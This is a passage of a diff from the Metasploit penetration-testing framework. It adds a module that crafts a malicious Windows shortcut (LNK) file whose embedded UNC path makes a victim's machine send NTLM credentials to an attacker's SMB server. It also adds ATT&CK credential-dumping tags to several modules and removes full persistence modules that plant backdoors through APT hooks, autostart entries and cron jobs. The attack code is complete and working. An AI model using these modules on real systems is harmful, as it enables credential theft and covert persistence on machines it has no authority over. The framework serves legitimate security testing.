data += cmd_args_utf16
|
||||
|
||||
# ICON LOCATION field (icon path in Unicode)
|
||||
icon_path_utf16 = icon_path.encode('UTF-16LE').b
|
||||
data += [icon_path_utf16.bytesize / 2].pack('v')
|
||||
data += icon_path_utf16
|
||||
|
||||
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
|
||||
env_block_size = 0x00000314 # Total size of this block
|
||||
env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE
|
||||
|
||||
data += [env_block_size].pack('V')
|
||||
data += [env_block_sig].pack('V')
|
||||
|
||||
# Create fixed-size ANSI buffer with nulls
|
||||
ansi_buffer = "\x00".b * 260
|
||||
|
||||
# Copy the UNC path bytes into the buffer
|
||||
unc_path.bytes.each_with_index do |byte, i|
|
||||
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
|
||||
end
|
||||
|
||||
data += ansi_buffer
|
||||
|
||||
# Target field in Unicode (520 bytes)
|
||||
unc_path_utf16 = unc_path.encode('UTF-16LE').b
|
||||
|
||||
# Create fixed-size Unicode buffer with nulls
|
||||
unicode_buffer = "\x00".b * 520
|
||||
|
||||
# Copy the UTF-16LE encoded UNC path bytes into the buffer
|
||||
unc_path_utf16.bytes.each_with_index do |byte, i|
|
||||
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
|
||||
end
|
||||
|
||||
data += unicode_buffer
|
||||
|
||||
data += "\x00\x00\x00\x00".b
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def start_smb_capture_server
|
||||
start_service
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,174 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'faker'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
include Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak',
|
||||
'Description' => %q{
|
||||
This module creates a malicious Windows shortcut (LNK) file that
|
||||
specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)
|
||||
that can trigger an authentication attempt to a remote server. This can be used
|
||||
to harvest NTLM authentication credentials.
|
||||
|
||||
When a victim browse to the location of the LNK file, it will attempt to
|
||||
connect to the the specified UNC path, resulting in an SMB connection that
|
||||
can be captured to harvest credentials.
|
||||
},
|
||||
'Author' => [ 'Nafiez' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://zeifan.my/Right-Click-LNK/',
|
||||
'EDB', '42382',
|
||||
]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [ [ 'Windows Universal', {} ] ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK]
|
||||
},
|
||||
'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('APPNAME', [ false, 'Name of the application to display', nil])
|
||||
])
|
||||
end
|
||||
|
||||
def generate_shell_link_header
|
||||
header = ''
|
||||
header << [0x4C].pack('L') # HeaderSize (4 bytes)
|
||||
header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes)
|
||||
header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode
|
||||
header << [0x00].pack('L') # FileAttributes (4 bytes)
|
||||
header << [0x00].pack('Q') # CreationTime (8 bytes)
|
||||
header << [0x00].pack('Q') # AccessTime (8 bytes)
|
||||
header << [0x00].pack('Q') # WriteTime (8 bytes)
|
||||
header << [0x00].pack('L') # FileSize (4 bytes)
|
||||
header << [0x00].pack('L') # IconIndex (4 bytes)
|
||||
header << [0x00].pack('L') # ShowCommand (4 bytes)
|
||||
header << [0x00].pack('S') # HotKey (2 bytes)
|
||||
header << [0x00].pack('S') # Reserved1 (2 bytes)
|
||||
header << [0x00].pack('L') # Reserved2 (4 bytes)
|
||||
header << [0x00].pack('L') # Reserved3 (4 bytes)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
def generate_item_id(data)
|
||||
[data.length + 2].pack('S') + data
|
||||
end
|
||||
|
||||
def generate_lnk_special(path, name)
|
||||
# Force encoding to ASCII-8BIT (binary) to avoid encoding issues
|
||||
path = path.dup.force_encoding('ASCII-8BIT')
|
||||
name = name.dup.force_encoding('ASCII-8BIT')
|
||||
|
||||
# Add null terminator
|
||||
path += "\x00".force_encoding('ASCII-8BIT')
|
||||
name += "\x00".force_encoding('ASCII-8BIT')
|
||||
|
||||
# Convert to UTF-16LE manually
|
||||
path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT')
|
||||
name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT')
|
||||
|
||||
# Remove BOM (first 2 bytes) if present
|
||||
path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE")
|
||||
name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE")
|
||||
|
||||
bin_data = ''.force_encoding('ASCII-8BIT')
|
||||
bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT')
|
||||
bin_data << [path.length].pack('S')
|
||||
bin_data << [name.length].pack('S')
|
||||
bin_data << path_utf16
|
||||
bin_data << name_utf16
|
||||
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment
|
||||
|
||||
bin_data
|
||||
end
|
||||
|
||||
def generate_linktarget_idlist(path, name)
|
||||
idlist = ''.force_encoding('ASCII-8BIT')
|
||||
|
||||
# Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html
|
||||
|
||||
# First ItemID - My Computer / This PC
|
||||
# {20D04FE0-3AEA-1069-A2D8-08002B30309D}
|
||||
field_size_id1 = "\x1f\x50"
|
||||
first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
|
||||
idlist << generate_item_id(field_size_id1 + first_id)
|
||||
|
||||
# Second ItemID - Control Panel (All Tasks)
|
||||
# {ED7BA470-8E54-465E-825C-99712043E01C}
|
||||
field_size_id2 = "\x2e\x80"
|
||||
second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
|
||||
idlist << generate_item_id(field_size_id2 + second_id)
|
||||
|
||||
# Custom ItemID - Our UNC path
|
||||
idlist << generate_item_id(generate_lnk_special(path, name))
|
||||
|
||||
# TerminalID
|
||||
idlist << "\x00\x00".force_encoding('ASCII-8BIT')
|
||||
|
||||
# Full IDList with size
|
||||
[idlist.length].pack('S') + idlist
|
||||
end
|
||||
|
||||
def generate_extra_data
|
||||
extra = ''.force_encoding('ASCII-8BIT')
|
||||
extra << [0x10].pack('L') # BlockSize (4 bytes)
|
||||
extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)
|
||||
extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel
|
||||
extra << [0x28].pack('L') # Offset (4 bytes)
|
||||
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)
|
||||
|
||||
extra
|
||||
end
|
||||
|
||||
def ms_shllink(path, name)
|
||||
lnk_data = ''.force_encoding('ASCII-8BIT')
|
||||
lnk_data << generate_shell_link_header
|
||||
lnk_data << generate_linktarget_idlist(path, name)
|
||||
lnk_data << generate_extra_data
|
||||
|
||||
lnk_data
|
||||
end
|
||||
|
||||
def run
|
||||
app_name = datastore['APPNAME']
|
||||
|
||||
app_name = "#{Faker::App.name}Application" if app_name.blank?
|
||||
|
||||
start_service
|
||||
unc_share = datastore['SHARE']
|
||||
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
|
||||
unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}"
|
||||
|
||||
lnk_data = ms_shllink(unc_path, app_name)
|
||||
file_create(lnk_data)
|
||||
print_good("LNK file created: #{datastore['FILENAME']}")
|
||||
print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
|
||||
stime = Time.now.to_f
|
||||
timeout = datastore['ListenerTimeout'].to_i
|
||||
loop do
|
||||
break if timeout > 0 && (stime + timeout < Time.now.to_f)
|
||||
|
||||
Rex::ThreadSafe.sleep(1)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -34,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Rapid7 ETR advisory for CVE-2024-24919
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/' ],
|
||||
# Publication of first proof-of-concept exploit
|
||||
[ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ]
|
||||
[ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ],
|
||||
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
@@ -31,7 +31,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
%w[EDB 47288],
|
||||
['URL', 'https://www.fortiguard.com/psirt/FG-IR-18-384'],
|
||||
['URL', 'https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf'],
|
||||
['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/']
|
||||
['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW]
|
||||
],
|
||||
'Author' => [
|
||||
'Meh Chang', # discovery and PoC
|
||||
|
||||
@@ -40,7 +40,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://blog.xpnsec.com/lapsv2-internals/'],
|
||||
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py']
|
||||
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
|
||||
],
|
||||
'DisclosureDate' => '2020-07-23',
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
|
||||
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
|
||||
],
|
||||
'DisclosureDate' => '2017-01-31',
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -36,7 +36,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
['EDB', '48531'],
|
||||
['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],
|
||||
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],
|
||||
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']
|
||||
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW]
|
||||
],
|
||||
'DisclosureDate' => '2019-11-25', # Vendor advisory
|
||||
'Actions' => [
|
||||
|
||||
@@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-3952'],
|
||||
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
|
||||
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
|
||||
],
|
||||
'DisclosureDate' => '2020-04-09', # Vendor advisory
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -68,6 +68,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_002_SECURITY_ACCOUNT_MANAGER],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_004_LSA_SECRETS],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_005_CACHED_DOMAIN_CREDENTIALS],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_006_DCSYNC]
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [],
|
||||
|
||||
@@ -19,7 +19,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
|
||||
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
|
||||
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
|
||||
],
|
||||
'Author' => [
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
|
||||
@@ -113,8 +113,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 30,
|
||||
max_send_size: (datastore['TCP::max_send_size']),
|
||||
send_delay: (datastore['TCP::send_delay']),
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
ssl: datastore['SSL'],
|
||||
ssl_version: datastore['SSLVersion'],
|
||||
ssl_verify_mode: datastore['SSLVerifyMode'],
|
||||
ssl_cipher: datastore['SSLCipher'],
|
||||
use_client_as_proof: create_session?
|
||||
)
|
||||
)
|
||||
|
||||
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
]
|
||||
)
|
||||
|
||||
options_to_deregister = %w[USERNAME PASSWORD CommandShellCleanupCommand AutoVerifySession]
|
||||
options_to_deregister = %w[USERNAME PASSWORD CommandShellCleanupCommand AutoVerifySession KrbCacheMode]
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
|
||||
add_info('New in Metasploit 6.4 - The %grnCreateSession%clr option within this module can open an interactive session')
|
||||
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank?
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank?
|
||||
|
||||
if !datastore['PASSWORD']
|
||||
if datastore['SMBPass'].blank?
|
||||
# In case no password has been provided, we assume the user wants to use Kerberos tickets stored in cache
|
||||
# Write mode is still enable in case new TGS tickets are retrieved.
|
||||
ticket_storage = kerberos_ticket_storage({ read: true, write: true })
|
||||
@@ -178,7 +178,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
realm: domain,
|
||||
username: datastore['SMBUser'],
|
||||
password: datastore['SMBPass'],
|
||||
ignore_private: datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS && !datastore['PASSWORD']
|
||||
nil_passwords: datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS && datastore['SMBPass'].blank?
|
||||
)
|
||||
cred_collection = prepend_db_hashes(cred_collection)
|
||||
|
||||
|
||||
@@ -32,7 +32,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
}
|
||||
},
|
||||
'References' => [
|
||||
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -39,7 +39,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
['CVE', '2022-24989'],
|
||||
['URL', 'https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/'],
|
||||
['URL', 'https://github.com/0xf4n9x/CVE-2022-24990'],
|
||||
['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990']
|
||||
['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
|
||||
],
|
||||
'DisclosureDate' => '2022-03-07',
|
||||
'Platform' => ['unix', 'linux'],
|
||||
|
||||
@@ -1,103 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'APT Package Manager Persistence',
|
||||
'Description' => %q{
|
||||
This module will run a payload when the package manager is used. No
|
||||
handler is ran automatically so you must configure an appropriate
|
||||
exploit/multi/handler to connect. This module creates a pre-invoke hook
|
||||
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Aaron Ringo'],
|
||||
'Platform' => ['linux', 'unix'],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
|
||||
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
|
||||
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
|
||||
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
hook_path = '/etc/apt/apt.conf.d/'
|
||||
unless writable? hook_path
|
||||
fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
|
||||
end
|
||||
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
|
||||
|
||||
backdoor_path = datastore['WritableDir']
|
||||
unless writable? backdoor_path
|
||||
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
|
||||
end
|
||||
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
|
||||
backdoor_path << backdoor_name
|
||||
|
||||
print_status('Attempting to write hook:')
|
||||
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
|
||||
write_file(hook_path, hook_script)
|
||||
|
||||
unless exist? hook_path
|
||||
fail_with Failure::Unknown, 'Failed to write Hook'
|
||||
end
|
||||
print_status("Wrote #{hook_path}")
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
write_file(backdoor_path, payload.encoded)
|
||||
else
|
||||
write_file(backdoor_path, generate_payload_exe)
|
||||
end
|
||||
|
||||
unless exist? backdoor_path
|
||||
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
|
||||
end
|
||||
print_status("Backdoor uploaded #{backdoor_path}")
|
||||
print_status('Backdoor will run on next APT update')
|
||||
|
||||
# permissions chosen to reflect common perms in /usr/local/bin/
|
||||
chmod(backdoor_path, 0755)
|
||||
end
|
||||
end
|
||||
@@ -1,69 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Autostart Desktop Item Persistence',
|
||||
'Description' => %q{
|
||||
This module will create an autostart entry to execute a payload.
|
||||
The payload will be executed when the users logs in.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Eliott Teissonniere' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {
|
||||
'BadChars' => '#%\n"',
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic python netcat perl'
|
||||
}
|
||||
},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
|
||||
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
|
||||
end
|
||||
|
||||
def exploit
|
||||
name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)
|
||||
|
||||
home = cmd_exec('echo ~')
|
||||
|
||||
path = "#{home}/.config/autostart/#{name}.desktop"
|
||||
|
||||
print_status('Making sure the autostart directory exists')
|
||||
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
|
||||
|
||||
print_status("Uploading autostart file #{path}")
|
||||
|
||||
write_file(path, [
|
||||
"[Desktop Entry]",
|
||||
"Type=Application",
|
||||
"Name=#{name}",
|
||||
"NoDisplay=true",
|
||||
"Terminal=false",
|
||||
"Exec=/bin/sh -c \"#{payload.encoded}\""
|
||||
].join("\n"))
|
||||
end
|
||||
end
|
||||
@@ -1,139 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cron Persistence',
|
||||
'Description' => %q{
|
||||
This module will create a cron or crontab entry to execute a payload.
|
||||
The module includes the ability to automatically clean up those entries to prevent multiple executions.
|
||||
syslog will get a copy of the cron entry.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die <mike@shorebreaksecurity.com>'
|
||||
],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Targets' => [
|
||||
[ 'Cron', { :path => '/etc/cron.d' } ],
|
||||
[ 'User Crontab', { :path => '/var/spool/cron' } ],
|
||||
[ 'System Crontab', { :path => '/etc' } ]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {
|
||||
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby python'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' => { 'WfsDelay' => 90 },
|
||||
'DisclosureDate' => '1979-07-01',
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
} # Version 7 Unix release date (first cron implementation)
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
|
||||
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
|
||||
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# https://gist.github.com/istvanp/310203 for cron regex validator
|
||||
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
|
||||
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
|
||||
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
|
||||
unless datastore['TIMING'] =~ /#{cron_regex}/
|
||||
fail_with(Failure::BadConfig, 'Invalid timing format')
|
||||
end
|
||||
cron_entry = datastore['TIMING']
|
||||
if target.name.include? 'User Crontab'
|
||||
unless user_cron_permission?(datastore['USERNAME'])
|
||||
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
|
||||
end
|
||||
else
|
||||
cron_entry += " #{datastore['USERNAME']}"
|
||||
end
|
||||
flag = Rex::Text.rand_text_alpha(10)
|
||||
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
|
||||
case target.name
|
||||
when 'Cron'
|
||||
our_entry = Rex::Text.rand_text_alpha(10)
|
||||
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
|
||||
if datastore['CLEANUP']
|
||||
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
|
||||
end
|
||||
when 'System Crontab'
|
||||
file_to_clean = "#{target.opts[:path]}/crontab"
|
||||
append_file(file_to_clean, "\n#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
when 'User Crontab'
|
||||
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
|
||||
append_file(file_to_clean, "\n#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
# at least on ubuntu, we need to reload cron to get this to work
|
||||
vprint_status('Reloading cron to pickup new entry')
|
||||
cmd_exec("service cron reload")
|
||||
end
|
||||
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
|
||||
Rex.sleep(datastore['WfsDelay'].to_i)
|
||||
# we may need to do some cleanup, no need for cron since that uses file dropper
|
||||
# we could run this on a on_successful_session, but we want cleanup even if it fails
|
||||
if file_to_clean && flag && datastore['CLEANUP']
|
||||
print_status("Removing our cron entry from #{file_to_clean}")
|
||||
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
|
||||
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
|
||||
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
|
||||
if target.name == 'User Crontab' # make sure we clean out of memory
|
||||
cmd_exec("service cron reload")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def user_cron_permission?(user)
|
||||
# double check we're allowed to do cron
|
||||
# may also be /etc/cron.d/
|
||||
paths = ['/etc/', '/etc/cron.d/']
|
||||
paths.each do |path|
|
||||
cron_auth = read_file("#{path}cron.allow")
|
||||
if cron_auth
|
||||
